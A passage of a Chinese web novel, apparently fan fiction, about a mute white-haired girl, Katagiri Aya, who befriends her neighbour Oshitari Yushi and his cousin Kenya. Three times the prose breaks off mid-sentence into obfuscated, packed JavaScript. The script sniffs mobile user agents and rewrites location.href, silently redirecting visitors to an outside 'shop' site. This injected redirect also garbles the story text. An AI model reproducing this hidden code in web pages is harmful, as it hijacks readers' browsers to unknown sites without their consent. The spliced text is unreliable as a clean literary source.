他小心翼翼地问道:“那我们还是牵着手去?” 女孩点了点头,胡乱地蹭了两下脸后,主动把手塞进了他的手里。 他们现在是朋友了吗? 小彩走在他身侧,悄悄地瞄着他的脸。 她想要问问他,可努力翕动了几下嘴唇,又败下阵来。 她还是说不出话…… 她想要说话。 4. 第 4 章 还是不行。 片桐彩站在镜子前,沮丧地看着镜子里连嘴巴都张不开的自己。 要不要再试一次? 再试一次说不定就会好了。 她拍了拍小脸,在心里暗暗地鼓励了自己一番,又尝试着翕动唇瓣。 如果要说“谢谢”的话,大阪话里是怎么说的呢? 标准语她还没有弄明白要怎么说,大阪话她就更加不会了。 就算她能够说话了,却不懂大阪话要怎么讲,事情绝对会像以前那样发展的吧…… 手腕上的手表振动起来,她这才回过神,看了眼手表上显示的时间。 下午五点。 是《小羊警卫队》播放的时间。 但她没有去打开电视,而是踩着拖鞋,“啪嗒啪嗒”地回到了自己的房间。 片桐彩趴在窗边,眼睛一眨不眨地盯着楼下的道路。 这会儿外面的温度降了些,偶尔也能看见几只小鸟在外面蹦蹦跳跳。 不过她暂时对那些小鸟不感兴趣,连看都没看它们一眼。 应该差不多快要回来了吧…… 她抬起手腕,看了一眼手表上的时间。 17:03。 再有两分钟应该就到家了吧? 她垂着眸子,纤长的睫毛掩住了她眸中显而易见的期待。 窗户留了一条小缝,外面的声音从缝隙里钻了进来。 伴随着行人的低语和鸟雀的鸣啼,一道开门的声音响起,片桐彩透过窗户往外望去,果然在隔壁的院门前看见了那颗熟悉的藏蓝色脑袋。 是隔壁的侑士。 今天要不要和他打招呼呢? 片桐彩严肃地蹙着眉,手在玻璃前抬起又放下,始终下不定决心。 自他上次带着她找姑姑以来,已经过去好几天了,之后她就再也没有和他有过交流。 无他,只是忍足侑士太忙了。 他似乎在准备什么比赛,每天都弄得很疲惫。 看到他时常沉肃的神情,片桐彩就没好意思打扰他。 她悄悄地关注着自己的朋友,在对方练琴的时候陪伴着他——虽然对方似乎并不知晓这件事,但她依旧笃定地认为这是陪伴。 等他忙完了以后,或许就可以和他“说”上几句话了吧? 小彩一边胡思乱想,一边睃巡着对面院子里的情况。 啊,他进去了。 对方的背影淹没在茂盛的花丛里,她默默收回了目光。 接下来的话,应该就是回到自己的房间里开始练琴什么的了吧? 他总是会赶在晚饭时间前之前练一会儿琴。 片桐彩拿起被她丢在一边的画册,随手拈起一支笔,认真地在画册上画起了画。 果然如她所料,过了一小会儿,对面响起了悦耳的琴声,只是这次声音比过去要弱很多很多。 小彩疑惑地望着对面的窗户,不明白为什么声音小得叫她有些听不清。 奇怪,明明昨天还很清晰的。 她轻手轻脚地拉开窗户,却不想一个不小心,窗户被她重重地推到了一边,发出了响亮的撞击声。 对面的琴音瞬时停了下来。 完蛋了! 打扰到人家了! 小彩紧张地抱着自己的画册,连忙想要把窗户关上,可是窗户似乎是被卡住了,怎么也关不上。 对面的窗户被缓缓拉开,忍足侑士站在窗前,浓绀色的眼睛直直地朝她望了过来。 他的脸上带着些歉意:“抱歉,是我打扰到你了吗?” 小彩连连摇头,下意识伸出手比划了两下,想到对方看不懂手语,她把画册翻到空白页,迅速用彩笔勾勒出一句话。 ‘是我打扰到你了,抱歉。’ “没这回事,”忍足侑士摇了摇头,他举起自己的小提琴给她看:“虽然我用了弱音器,但声音好像还是有点响……” 对面的脑袋瞬时间低了下去,从他的角度只能看到对方不断耸动的肩膀,也不知道她在做些什么。 他一头雾水地望着对面的情景,一时间不知道自己该不该继续练下去。 她好像不太喜欢吵闹。 忍足侑士盯着对面的窗棂,默默地想道。 其实他每天回来的时候,都能够感受到对面二楼有一道目光在追随着他,不用多想就知道是片桐彩了。 她也不和他打招呼,只是那样静静地看着。 大约是打扰到她了吧,毕竟两个人的房间离得那么近,就算使用了弱音器,小提琴的声响还是有些大。 妈妈也提示过他,隔壁的小孩害怕噪音,让他把练琴的时间提前一些。 大概是真的吵到她了吧。 要不要和妈妈说一声,在家里加装一层隔音海绵呢? 正当他沉浸在自己的思绪中时,一道白色的影子在他的视线中越放越大,脑门上的小小痛楚令他回过神来。 白色的影子砸中他的脑袋后,又“啪”的一声掉落在地上,他低头望去,是一架纸飞机。 对面的女孩似乎有些紧张,她摸了摸自己的脑袋,又指了指他的,一个劲儿地打着“对不起”的手势。 “不要紧,这是给我的……唔……给我的纸条吗?” 见对方犹豫着点了头,忍足侑士放下手中的小提琴,蹲下身捡起它。 纸飞机被一点一点地展开,纸背上写着一行圆乎乎的小字——“很动听,喜欢,请继续演奏吧。” 纸张再翻个面,一幅浓墨重彩的画冲进他的眼帘。 画面中是一个手执小提琴的男孩侧影,显眼的藏蓝色的头发让他一眼就认出了这是他自己。 她的画技很好,色彩运用十分大胆,远超同龄人的水平,忍足侑士不太懂画,但他能够感受到扑面而来的感染力。 这算是送给他的礼物吗? 忍足侑士想了想,拿起小提琴,奏响了一段旋律。 只是才拉了几个音,片桐彩立刻就意识到对方在演奏哪首曲子了。 是《小羊警卫队》的片头曲! 没想到侑士也看《小羊警卫队》! 他真是太有品味了! 比那些喜欢看同时间段的《飞侠杰克》的小孩要有品位得多! 小彩趴在窗台边在画册上涂涂抹抹,脚架在半空中一晃一晃的,跟着对面的曲子打着节拍。 楼下经过的小孩也兴奋地叫同伴停下来一起听,有个脑后的头发打着卷的男孩甚至跟唱起来。 小彩赞许地瞄了一眼楼下的小孩,有品位的小孩变多了! 《小羊警卫队》才是全世界——不,是全宇宙最棒的动画片! 一首片头曲也不过短短的两分多钟就结束了,当最后一个音从琴弦间落下的时候,小彩手里的画也画好了。 她把这张画纸取下,再次折成一架纸飞机,轻轻对着飞机头尖尖的地方呵了两口气,一把朝着忍足侑士的方向投了过去。 这次绝对、绝对不会再砸中他的脑袋了! 小彩昂着脑袋,一副自信满满的模样。 好消息是这次没有砸到他的脑袋,坏消息是砸中了他的胸口。 还是砸到了。 还好不是脑袋……好丢脸啊! 她赧然地冲着他笑了笑,脸颊红扑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547768|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扑的,“啪”的一声把自己埋进了自己的臂弯里。 忍足侑士好笑地看着她的动作,并没有对她连着砸中他两次这件事发表什么意见。 他小心翼翼地展开了手中的纸飞机。 纸飞机上这次没有画他,而是画了几只小羊。 唔,是《小羊警卫队》的角色。 小羊们板着一张可爱的脸,严肃地对着他敬礼,圆滚滚的字飘浮在它们的脑袋上——“感谢侑士小朋友给我们提供力量,以后也请多多关注我们喔!” 什么啊…… 总感觉和姐姐追星的时候说的话好像。 最近忍足惠里奈迷上了一个偶像团体,好像是叫fortte什么的…… 啊,跑题了。 忍足侑士眨眨眼,挥散了自己脑中被惠里奈灌输的一大堆奇奇怪怪的东西。 他往窗边凑了凑,轻轻地敲击了两下窗棂:“片桐——” 片桐彩“唰”的一下抬起头,皱着一张脸,闷闷不乐地看着他。 她抱着画册,用力地写了些什么,把画册高高地举起来。 ‘彩!!!!’ 巨大的“彩”字和感叹号挤在一起,像是为了更加突出这个字一般,周围甚至还有爆炸特效一般的边框把它围在中间。 忍足侑士不由得觉得有点好笑,但看到对方格外严肃的模样,最终还是压抑住自己下意识想要上扬的唇角。 “好吧,小彩,”他握着拳,掩唇轻咳了两声,说出了他前些天就想说、却一直没能找到合适的时机说出的话:“明天要不要一起出去玩呢?” 一起玩? 对于他的提议,片桐彩心动极了。 她当然想和他一起玩,不过他不忙了吗? 她在纸上写下了自己的疑问,举起画册给对方看,忍足侑士摇了摇头:“该做的准备已经做完了,可以稍微休息两天。” “所以,要一起玩吗?” 片桐彩犹豫了。 和朋友一起出去玩这件事情,她期盼了很久。 过去当然也不是没有人邀请过她,只是在邀请完她以后,她总是会被以各种各样的理由放鸽子,徒留她一个人在原地打转。 侑士也会这样吗? 邀请她出去,却又把她一个人丢在外面什么的…… 恐惧支着它的爪牙缓缓攀上她的心脏,她被一种莫大的惶惑笼罩着,叫她不由得想要退缩。 要不还是算了吧…… 只要不接受邀请,朋友就还是朋友。 天色渐渐有些沉了下来,暖色的余晖打在忍足侑士的脸上,他素日里总是冷静异常的面孔上多了几分柔和的意味。 他的目光沉静,一双浓绀色的眸子就这样静静地望着她。 片桐彩内心的焦躁不安,在他平和的注视下渐渐消散殆尽。 他或许是不会那样做的。 小彩莫名想道。 就像他见到她的白发,却没有丝毫异色一样,他应当是不会那样做的。 片桐彩犹犹豫豫地在纸上写了几个字。 ‘那约好了,明天要一起出去玩哦?’ “约好了,”忍足侑士弯了弯唇角:“记得和片桐阿姨说,明天早上八点我来接你,可以吗?” 小彩重重地点点头。 他们商量好时间以后,忍足侑士又重新开始练他的琴,琴声不再是小彩喜欢的动画片片头曲,而是大人们的音乐了。 小彩认认真真地听了一会儿,却也听不出什么,只觉得曲调轻快了不少。 明天啊…… 和朋友一起出去玩的话,会是什么样的情景呢? 5. 第 5 章 早晨五点,天光朦胧。 片桐彩早早就醒来,抱着自己的小羊挎包坐在窗边。 她盯着隔壁忍足家的院子,小手抚在小羊挎包上,一下一下地顺着毛,小羊挎包的手感很好,她的心情也很好。 自从昨天傍晚和隔壁家的侑士约定好要出去玩以后,她就格外兴奋,片桐沙友理还笑她就像是郊游前夕的小学生一样。 片桐彩才不管那些。 她本来就是个小学生,也的确是要出游。 小孩不就是这样嘛! 和朋友一起出去玩这种事,就算是大人也会感到期待的吧? 八点钟,八点钟好慢啊…… 小彩再次抬起手腕,看看手表上显示的时间。 05:14。 怎么还是05:14呢? 明明她已经感觉过去很久了,可数字却一点也没有变。 她沮丧地趴在窗台上,盯着隔壁院子的花墙看,一朵朵地数着墙上的花苞。 一朵、两朵、三朵…… 数着数着,她的思绪渐渐飞远了。 这些花怎么还不开呢? 她捧着脸,苦恼地皱起了眉。 《小羊警卫队》里的米恩花匠说,月季花要早上八点才能睡醒……啊,又是八点钟。 早知道她就和侑士约定在五点好了。 这样她就不用等那么那么久了吧? 她好想快点见到他,那个俗语叫什么来着……一日千秋? 不不不,按照目前的情况来看的话,应该是一秒千秋才对。 好慢的时间,好慢的侑士。 等等,侑士? 片桐彩惊讶地把脸贴近玻璃,试图让自己看得更加仔细一点。 那颗一闪而过的藏蓝色脑袋,是侑士没错吧? 他在做什么呢? 她好奇地打开窗户,往外探了探脑袋。 对方似乎也听到了开窗的声音,抬起头朝她的方向望过来。 “片……小彩?”忍足侑士仰着脸,微微蹙了蹙眉:“不要把身体探出来,那样很危险。” 片桐彩这才发现自己往外倾的角度有点大,连忙听话地往里缩了缩。 她在纸上迅速写上“侑士在做什么”这几个大字,折成纸飞机投到了隔壁的院子里。 好耶! 这次没有丢到侑士的身上! 不枉她昨晚在家里认真地在电视节目上学习了怎么投纸飞机更准的技巧,太实用啦! 小彩决定把那档电视节目加入自己的每周必看清单。 忍足侑士的脑袋淹没在花丛里,大约是蹲下身去捡纸飞机了,好一会儿才站起身来。 他一手捻着布满折痕的纸,一手举起手中攥着的浇花壶给她看:“我在浇花。” 侑士原来是小花匠。 片桐彩的目光黏在他的脸上,煞有其事地点点头,他确实长了一张很会侍弄花草的脸,和米恩花匠一样温柔。 也不知道是为什么,忍足侑士轻轻地笑了一声,她当然是没听到的,但她看见了他扬起的嘴角。 “小彩,要不要来看看呢?” 片桐彩歪着脑袋,盯着他的脸认真地思考了一会儿。 虽然她立刻就想要同意——她对他家的院子的确很感兴趣,她从未见到过里面的情景,但她还是有些犹豫。 这个时间去别人家做客,是不是不太礼貌呢? 她纠结地皱起了脸,心动却又强作矜持的模样令忍足侑士忍俊不禁。 “我去接你过来,好不好?”他侧着脸望了望正欲冉冉升起的太阳,“要是太阳升起的话,就不好浇水了。” 片桐彩自然是知晓这一点的。 她看的那么多集《小羊警卫队》可不是白看的,如果她生活在小羊的世界里,她绝对可以称得上是米恩花匠的好学生了! 既然他都这么说了…… 小彩矜持地点了点头,背影却急匆匆地消失在忍足侑士的视线里。 这不是很期待嘛。 忍足侑士弯了弯唇角,快步走到隔壁的院门前。 他将将在门口站定的时候,女孩就已经在门前等着他了。 片桐彩今天照旧戴了一顶宽檐帽子,带着细碎小花的帽子紧紧地扣在她的脑袋上,没能扎起的小碎发轻柔地依偎在她的脸侧,看起来可爱极了。 忍足侑士侧过脸望着她:“走吧?” 片桐彩点点头,跟在他的身后。 清晨的气温并不算太高,甚至还有些凉爽。 她之前总是在楼上看着楼下的世界,现在稍稍体味一下才感受到,楼上的世界和楼下的世界很不一样。 雀鸟们在空中滑翔,原本在楼上听着很近的声音此刻离她越来越远,慢慢地消失不见了。 她抬头望去,小鸟们大多不知所踪,只有零星几只还停留在电线杆上埋头啄着自己的羽毛。 大概是为了照顾她,他的速度并不快,手贴在身侧,随着走路的步伐轻轻摇晃着。 小彩的目光胶着在他摇晃的手掌上。 怎么这次不牵手了呢? 她困惑地歪了歪脑袋,一双眼睛紧紧地追随着他手部的动作。 她喜欢牵手的感觉。 在幼稚园的时候,老师总是说“好朋友,手牵手。” 好朋友之间,是要牵手的才对。 她和侑士应该是好朋友了吧? 小彩认真地思索了一番,笃定地点点头——虽然侑士并没有说过他们是好朋友之类的话,但是他邀请她一起出去玩哦? 现在还邀请她去参观他家的花圃,怎么不算好朋友呢? 既然是好朋友,那就一定要牵手了。 片桐彩眉间染上了一抹坚定,她郑重地伸出手,轻轻地握住了对方的指尖。 温热而柔软的触感在他的手上蔓延开来,忍足侑士颇感意外。 他偏过脸,讶异地望向这位总是很羞涩的小妹妹。 宽宽的帽檐遮住了她的上半张脸,从他的角度望去,看得并不真切。 她双唇紧抿,纤细的脖颈上似乎每一块肌肉都在发力,露出的小半张脸红扑扑的,叫他想到了家里上个月刚刚开过的粉色绣球花。 她大约是鼓起极大的勇气,才做出这样一个举动,他不由得有些心软。 是因为紧张吗? 他轻轻地抽出被她拢在掌心的手指,片桐彩怔了怔,一时没敢抬头看他。 她好像搞砸了。 侑士不想和她牵手吗? 一股巨大的失望感包裹住了她的心脏,她的眼睛里酸酸涩涩的,叫她突然非常想揉一揉,把眸中莫名而来的水意给揉去。 “要牵手的话,要好好牵才对,”一只温热的手嵌入了她的虎口,紧紧地握住她,“像之前那样牵,要是去人多的地方是会走散的。” 他的声音大约是故意放得柔和了些,片桐彩动荡不安的心奇异地被安抚下来,奇奇怪怪的情绪也被一扫而空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547769|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她落在他身后半步,盯着他脑后微微卷起的、微长的头发。 他的头发在他的颈间蹭来蹭去,像是老家沙丘上随风摆动的盐蒿。 侑士的头发看起来发质很好,扎起来应该也会很好看吧。 啊啊,现在不应该想这个才对! 小彩挥去了自己脑中浮现的各式各样的发型,勉力让自己回过神来。 她晃了晃和他牵着的那只手,在对方看过来时,用空着的那只手快速地比了个“谢谢”。 她仰着脸望向他,眼眶和鼻头红红的,像是刚哭过一般。 忍足侑士盯着她红扑扑的脸看了几秒,学着惠里奈拍谦也脑袋那样拍了拍她,轻薄的帽子隔开了他的手,柔软的触感却在他的指尖流连。 帽子下的触感其实更加柔软,他没能摸到,心中难免有些遗憾。 “没关系的,”他觑着她的神色:“紧张的话,手可以抓得更紧一点。” 片桐彩迟疑了一瞬,牵着他的那只手紧了紧,只是她的力气向来不怎么大,捏得再紧也是徒劳。 只要对方稍稍用点力气,一甩就脱。 忍足侑士瞥了她一眼,却也没说什么,只是拢着她的那只手压实了些。 小彩莫名感到有些安心。 她亦步亦趋地跟在他的身边,两家离得很近,他们很快就进了忍足家的院子,钻入花丛中。 忍足家的花像是直流而下的瀑布一般,顺着苍绿的枝条和碧色的叶海直直地坠了下来。 此时还未到开花时间,月季花的花骨朵三三两两地缀在花墙上,看着也别有一番趣味。 馥郁的花香争先恐后地钻进了她的鼻腔,过于浓郁的气味令小彩鼻尖痒痒的,不由得打了个小小的喷嚏。 她仰着脸望向空中,试图望见自己的房间,却被厚厚的花墙阻碍了视野。 下面的视野和上面的视野真的很不一样,完全就是两个世界的感觉。 原来是望不见的吗? 她好奇地把视线转移到身旁的小伙伴身上,那他之前是怎么看到她的呢? 她晃了晃和他牵着的手,在他看过来时,指了指她房间的方向。 “怎么了?” 忍足侑士顺着她刚才手指的方向望去,莫名明白了她的意思:“啊,你是想看看自己房间的位置吗?” 片桐彩重重地点了点头。 他牵着她,稍稍往后退了几步,这才示意她往空中望望。 小彩乖巧地顺着他的视线往空中看去,果然看到了熟悉的窗台。 原来从外面看是这样的吗? 虽然看不清里面的陈设,但窗边的情景简直一清二楚。 “小彩好像很喜欢花呢,”忍足侑士的眸中含着些笑意,似是感叹似是调笑般说道:“每次我回来的时候,都会看到你趴在窗沿往院子里看。” 片桐彩怔了怔,脸颊霎时飞红。 咦? 这是什么意思? 这样的话他岂不是每天都会看到她躲在楼上偷窥他? 太失礼了! 这样也太丢脸了! 她慌乱地别开了视线,装作什么都没有发生过的样子,目光在院子里乱飞,最终投射到花圃里的蓝色小花上。 可侑士偏偏不肯揭过这个话题。 他的声音照旧那般温和:“小彩,花好看吗?” 片桐彩下意识朝他望去,他神色如常,可她却在他的眼底瞧见了一抹轻浅的笑意。 6. 第 6 章 侑士是个奇怪的人。 片桐彩蹲在花圃前,紧紧地盯着花圃里蓝色的小花。 如果说最开始她对忍足侑士的印象是,他是个热心肠的好人,那么现在就完全推翻了这一点。 也不能说是完全推翻,他确实是个好人没错,但他也确实有些令人捉摸不透。 他根本就没有要她回答那个问题的意思,像是随口一提,紧接着就在她的错愕中牵着她来到花圃前,开始认真地给花浇水。 她偷偷瞄了几眼一旁的侑士,在对方用疑问的眼神看过来时,火速把目光收回,重新又投到了面前的蓝色小花上。 “那是蓝雪花。” 忍足侑士的声音在她耳边响起。 似乎是以为她是想问他花的品种,他捏着浇花壶,一边浇水一边为她讲解。 不过他用的专业术语太多,小彩听不太明白,只是懵懵懂懂地点着头,不懂装懂。 虽然听不懂,但花还是很漂亮的。 小彩盯着花圃里爆满的蓝雪花,心里有了些主意。 侑士对这种花这么了解,会讲那么多她听不懂的、只有电视里的大人才会讲的话,那他应该很喜欢才对。 侑士很照顾她,她想要送一个亲手做的小礼物给他。 胸针什么的,应该会很适合他吧? 电视里的大人们在拉小提琴的时候,都穿西装戴胸针,做一个胸针怎么样? 正当她在脑内设计造型的时候,一道活力满满的声音冲进了她的耳朵,片桐彩被吓得打了个激灵。 “侑士!早上好!” 她偏头望去,是一个有点眼熟的黑发男孩,他此刻正侧着身体面对她,脑后的头发卷卷的,像是小鸟翘起的尾羽。 好眼熟。 她是有见到过他吗? 小彩皱着脸想了一会儿,恍然大悟般点点头。 原来是他。 总是在楼下呼朋引伴跑来跑去的那个男孩子,昨天傍晚她还见到过他呢。 黑发男孩兴奋地拍着忍足侑士的肩膀,爽朗地笑着:“听伯母说,你这几天终于要休息了,今天一起去打网球怎么样?” 忍足侑士似乎和他关系很不错,毫不客气地捋掉了他的手,“今天没空,我有约了。” “有约?!”黑发男孩惊讶地瞪大了双眼:“你?有约?和谁?” 他一本正经地打量着他,嘟囔道:“你不是一向不高兴和人一道出去玩的吗?前些天有人约你你也不去……究竟是和谁约了?大河?还是海原?” 他的话很密,叫人有点插不进去。 当然,忍足侑士也完全没有要回复的意思,他拎着浇花壶,又回到了片桐彩身边的这片花圃来。 小彩疑惑地点了点他的手腕,又指指那边还在絮叨个没完的黑发男孩。 ‘不用招待他吗?’ 忍足侑士专注地浇着水,神色平静自然,像是早已习惯了似的:“不用管他,随他去。” 虽然他这么说了,但小彩还是有些不自在。 不打招呼的话,是不是有点不礼貌? 她犹犹豫豫地望着那边的人,想着自己要不要去问候一下。 忍足侑士像是明白她的心思似的,轻轻叹了口气,终于放下了浇花壶,牵着她的手走到自家堂弟身边。 “这是我的堂弟,忍足谦也。” 他介绍时神色如常,语速却比平时要慢上许多,颇有几分不情不愿的意味。 片桐彩乖巧地对着忍足谦也点了点头,又从自己的小羊挎包里找出一张色彩缤纷的纸片,递到他的手里。 谦也愣怔着接过那张小纸片,也礼貌地冲着她躬了躬身。 等等,为什么他要做这种类似下属礼节的事情啊! 这也太奇怪了吧! 这不是默认对方是老板上司什么的了吗? 他心里直犯嘀咕,捏着小纸片看了看。 纸片做成了一张名片一般的大小,上面用马克笔画了很多很梦幻的小饰物,三个圆滚滚的汉字静静地躺在正中间,还贴心地标注了平假名。 “片桐彩……?”忍足谦也抬眸望了眼面前的小女孩:“这是你的名字吗?” 小彩郑重地点了点头。 “我叫忍足谦也,”虽然堂哥介绍过他,但他还是重新介绍了一下自己,他好奇地打量着小彩,“你怎么不说话?” 片桐彩指了指自己的嘴巴,摆摆手。 谦也愣怔了一下,不好意思地挠了挠头:“哦……抱歉,我不是故意的。” 他犹豫着,又道:“其实这样也挺酷的,很多很厉害的人都不说话,看起来很……嗯……那个词叫什么来着?” 忍足侑士在一旁幽幽地搭腔:“我猜你想说的是高深莫测?” “啊,对!就是那个!”忍足谦也兴奋地拍了下手,“片桐你看起来也和那些很厉害的人一样高深……” 他这才注意到面前这位小女孩的脸,剩下的“莫测”二字堵塞在喉咙里,怎么也吐不出来了。 无他,片桐彩长着一张太过柔弱无辜的脸了。 一双杏眼水汪汪的,柔软的鬓发打着卷贴在脸侧,像极了他和侑士过去养过的小兔子。 只可惜小兔子生病死掉了。 他们带着它去了好多家宠物医院看病,甚至还去过神社拜拜,做了各种各样的努力都没能救活它。 等等,鬓发…… 忍足谦也眼睛一眨不眨地盯着她鬓角没能梳起的碎发。 白色的? 他盯着小彩,指了指自己的鬓角处:“片桐,你的头发好像是白色的欸……” 被发现了! 小彩的身体僵了僵,她惶然地拉下了两边的帽檐,紧紧地贴在自己的脸上。 她无措地望向忍足侑士,悄悄往他的身后躲去。 侑士轻轻拍了拍她的脑袋算作安抚。 虽然身前有好心的侑士挡着,但忍足谦也还是三两下就跳到了他们身边。 小彩的眼眶一瞬间就红了。 她似乎已经预见了自己接下来要面对的事情。 就像过去被大家发现自己有一头白发一样,大概会被驱赶吧,又或是说她是妖怪…… 虽然爸爸和姑姑都说这是因为小彩是被上天眷顾的孩子,才送了她这么一头别致的头发,但她宁可不要这种眷顾。 人们大多不欢迎与自己不一样的异类,小孩也好,大人也好,都是这样。 她的脑子里乱糟糟的,像是被打翻的颜料盒,所有的色彩全部混杂在一起,慢慢地变成一团黑黢黢的存在。 她紧张地垂下了眸子,纤长的睫毛一颤一颤的,一颗莹润的水珠挂在她的睫毛上摇摇欲坠。 直到一双手强硬又热情地拉下了她的右手,紧紧地握在手里时,那颗水珠才直直地坠下,淹没在土地里,再也找不见了。 “片桐,你真是太酷了!” 那双手的主人似乎很是兴奋,紧紧地攥着她的手晃了几下。 片桐彩悄悄抬起眼望向他,茫然地想要抽回手,却怎么也抽不动。 “片桐……不,小彩!”忍足谦也的眼睛亮晶晶的,一脸艳羡:“你不用染发就有了和恶龙骑士一样的发色,真好啊……我也想要这样的,可惜我还不能染发。” “老爸说我至少要到国中才能染头……可恶!我真的很想要这样的发色啊!”他狠狠地吸了吸鼻子:“等我上国中以后,我要把各种颜色都染个遍!” “说起来,你这样的头发特别好上色哦,都不用漂色了……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547770|142576||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 忍足谦也还在絮絮叨叨地说着自己对未来的憧憬,片桐彩则呆呆地望着他。 胸腔里的鼓动不断地冲击着她的喉咙,他的声音渐渐模糊了,耳朵里只能听见自己剧烈的心跳。 “咚咚”、“咚咚”。 快速的,激烈的。 未知的情绪在她胸中澎湃,她无措地辨认着。 是喜悦。 她捂着自己的心口,慢慢感受着这许久未至的、强烈的情绪,巨大的欢欣几乎要掀翻她的五脏六腑,在她的血液中奔涌着。 她想要和谦也做朋友。 …… “所以你为什么也跟着一起来了,”忍足侑士牵着片桐彩,蹙着眉望向自己的傻瓜堂弟:“你不是要去打网球?” “有什么关系嘛,既然都是朋友,那就一起玩好了,”忍足谦也晃了晃被小彩牵着的手,“小彩,你介意吗?” 片桐彩重重地摇了摇头,偏头望向一旁的侑士,眸中满溢的期待之意直戳对方的心脏。 忍足侑士无奈地叹了口气,“好吧,只要谦也不拖后腿就好。” “什么啊!我怎么可能会拖后腿,”忍足谦也不高兴地瞪了堂哥一眼,“是侑士不要拖后腿才对。” “谁管你啊。” 忍足侑士不再搭理堂弟,扭脸去看周围的设施。 他们今天的原定路线是商店街这一带,他本想着带小彩熟悉一下周围的环境,但谦也一直闹着要去游乐园玩,小彩也同意谦也的提议,他们便一同来到了卡匹帕乐园。 忍足家的教育倾向于培养孩子的自主独立,他和谦也常常自己出门,这次也同样没有要别人带着来。 为了防止走散,他们甚至还给小彩扣上了两条防走失的系带,一条在侑士手里,一条在谦也手里。 片桐彩适应良好,她才刚从幼稚园毕业不到一年的时间,过去常常这么被老师带着出游,便也没有提出任何异议。 她好奇地打量着这座自己从未来过的乐园,欢快的乐声此起彼伏,目之所及,到处都是这座乐园的吉祥物卡匹帕的头像。 橘黄色的吉祥物玩偶在不远处摆动着自己的手臂,呆呆的表情看起来可爱极了。 “小彩,要不要先去坐旋转木马?”/“小彩,要不要先去坐咖啡杯?” 两道声音在她耳边响起,片桐彩这才回神。 忍足侑士和忍足谦也四目相对,气氛瞬间变得紧张起来,她甚至能隐隐闻到弥漫在空气中的硝烟味。 忍足侑士面色如常,看不出喜怒,“谦也,咖啡杯那种东西也太危险了吧,一旦有你坐上去就完全失控了,会把小彩转晕的。” “哈?”忍足谦也不快地瞪着堂哥:“旋转木马那种东西也太慢了,一点也不刺激,再说了我怎么可能会把小彩转晕!我才没有那么不绅士!” …… 两人来回辩论了好一会儿都没能分出胜负,片桐彩张了张口,想要安抚一下两人激动的情绪,却怎么也说不出话来。 她一会儿拍拍这个的肩,一会儿拍拍那个的背,努力调停着他们兄弟间的矛盾,他们却越吵越凶。 小彩放弃了,小彩很疲惫。 片桐彩心力交瘁地坐在一旁的花圃边,看着他们对抗。 谦也这样她倒是不太意外,只是没想到,一向看起来格外沉稳靠谱的侑士也有这么活泼的一面…… 也不知道他们什么时候能讨论出一个结果,她就这么安安静静地坐着,在心里默默数着花圃里的花叶。 不多时,两道身影突然出现在她面前,她抬头望去,果然是侑士和谦也。 他们似乎没能讨论出一个结果,脸上皆带着些因为争吵浮上来的红意。 “小彩,你说呢?”/“小彩,你说呢?” 7. 第 7 章 “小彩,你说呢?”/“小彩,你说呢?” 她说……她说什么好? 片桐彩觑着两人的脸色,总觉得自己无论选哪一个都不会得到太好的结果。 她从包里摸出自己随身携带的小册子,在上面写写画画了一阵,这才小心翼翼地放到他们面前。 ‘我去和卡匹帕君合照,侑士去坐旋转木马,谦也去坐咖啡杯。’ 忍足侑士第一个不同意,他蹙着眉,不赞同地望向她:“一个人的话,要是走丢了就糟糕了。” 他走到她的身边,牵起她的手:“既然小彩想去和卡匹帕君合照,那我就陪你一起去好了,谦也去坐咖啡杯。” 忍足谦也自然也不甘示弱,他拉起女孩的右手:“不就是合照吗?我陪小彩去就好了,侑士自己去坐旋转木马吧。” 空气中的火药味愈来愈浓了,片桐彩为难地看着占满了她两只手的忍足兄弟。 她从来没有遇到过这样的情况,完全不知道应该怎么办才好。 答应了这个,那个会不高兴,答应了那个,这个也会很伤心。 这完全就是一道超级难的题目嘛! 小彩不想他们不高兴,看看这个又看看那个,急得眼泪都快掉出来了。 或许她就不该答应他们一起出来玩的。 她要哭不哭的模样弄得两个男孩子都有点不好意思。 忍足侑士安抚般拍了拍她的脑袋,语气放柔了些:“抱歉,吓到你了吗?我们先一起去和卡匹帕君合影好了。” 说着他望向谦也,给堂弟使了个眼色:“谦也也去。” 忍足谦也原就有些不知所措——他没有过有女孩子在他面前哭泣的经历,这还是第一次。 不过他也不是蠢蛋,被堂哥这么一点,立刻就明白过来:“啊,对,抱歉,我们不是故意的……先去和卡匹帕君合照吧?合完照以后要去哪里,小彩来决定就好。” 片桐彩努力抽出自己的手,接着又把住他们的手,把它们交叠在一起。 她眼泪汪汪地比了一串手势,忍足谦也像是看懂了,认认真真地点头应许:“嗯,我们不会再吵架了,放心好了。” 